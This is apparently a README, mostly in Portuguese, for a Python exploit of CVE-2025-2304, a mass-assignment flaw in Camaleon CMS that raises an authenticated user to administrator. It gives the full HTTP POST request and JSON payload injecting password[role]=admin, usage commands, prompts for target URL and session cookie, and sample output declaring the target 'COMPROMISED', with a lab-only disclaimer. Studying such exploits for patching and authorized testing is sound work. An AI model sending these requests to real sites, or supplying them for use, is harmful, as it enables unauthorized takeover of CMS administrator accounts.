
Script de exploração em Python para o CVE-2025-2304, uma escalada de privilégios por mass assignment no Camaleon CMS. Automatiza a análise do token CSRF e a injeção do parâmetro de função para elevar usuários autenticados a administrador em ambientes de laboratório controlados.
CVE-2025-2304 é uma vulnerabilidade de Mass Assignment no Camaleon CMS (versões < 2.9.1) que permite a um usuário autenticado elevar seus privilégios para administrador manipulando o parâmetro role em solicitações de alteração de senha.
O Camaleon CMS usa Ruby on Rails e, na versão 2.9.0, apresenta uma vulnerabilidade de Mass Assignment no controller UsersController#updated_ajax. O controller usa .permit! sem restrições, permitindo que qualquer parâmetro enviado na solicitação seja diretamente atribuído ao modelo de usuário.
POST /admin/users/{user_id}/updated_ajaxpassword[role] enviado dentro do namespace passwordparams.require(:password) e então aplica .permit!, que não filtra nenhum parâmetro"admin" no campo role do usuárioPOST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded
authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch
O parâmetro password[role] é processado por User.update(permitted_params) e atribuído diretamente ao registro do usuário devido ao .permit!, elevando os privilégios de user para admin.
# Python 3.6+
python3 --version
# Required libraries
pip install requests
python3 exploit_cve_2025_2304_en.py
python3 exploit_cve_2025_2304.py
O script solicitará interativamente:
http(s)://domain:port_cms_session (obtido após o login)P@ssw0rd_lab_2025!)python3 exploit_cve_2025_2304_en.py
[?] Base URL of the server (ex: http://localhost:3000) : http://192.168.1.100:8080
[?] User ID of the attacker user (ex: 3) : 5
[?] Session cookie (_cms_session=VALUE) : _cms_session=abc123def456
Quando encontrei essa vulnerabilidade, meu primeiro instinto foi testá-la manualmente com o Burp Suite — e funcionou. Mas eu queria ir além e transformar esse processo manual em algo repetível e portátil, então escrevi este script. Além de apenas explorar a falha, desenvolver isso me deu a oportunidade de trabalhar com algumas coisas que considero genuinamente interessantes:
Não estou tentando substituir o Burp ou o Caido. Essas ferramentas são insubstituíveis para testes interativos. Isto é apenas o que acontece quando prefiro escrever um script a me repetir.
THIS SCRIPT IS EXCLUSIVELY FOR:
- Controlled laboratory environments
- Systems you own or have explicit authorization to test
- Educational purposes and authorized research
STRICTLY PROHIBITED:
- Use on systems without authorization
- Application with malicious intent
- Violation of data protection laws
- Compromising third-party security
The author is not responsible for misuse of this tool.
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-2304 │ Camaleon CMS Mass Assignment ║
║ Privilege Escalation: user → admin ║
║ [LABORATORY / CONTROLLED ENVIRONMENT] ║
╚══════════════════════════════════════════════════════════════╝
[✔] CSRF token obtained: abc123def456...
[✔] EXPLOIT SUCCESSFUL: Server confirmed the update.
[✔] Status : COMPROMISED
User 5 should now have 'admin' role.
{
"authenticity_token": "abcd1234",
"password[password]": "P@ssw0rd_lab_2025!",
"password[password_confirmation]": "P@ssw0rd_lab_2025!",
"password[role]": "admin",
"password[id]": "5",
"_method": "patch"
}
O código é estruturado de forma modular para facilitar:
.permit!São bem-vindas contribuições que:
Lembre-se: Este projeto tem finalidade exclusivamente educacional e de pesquisa autorizada.
Última atualização: abril de 2025 | Por Analista de Segurança (Ambiente de Laboratório)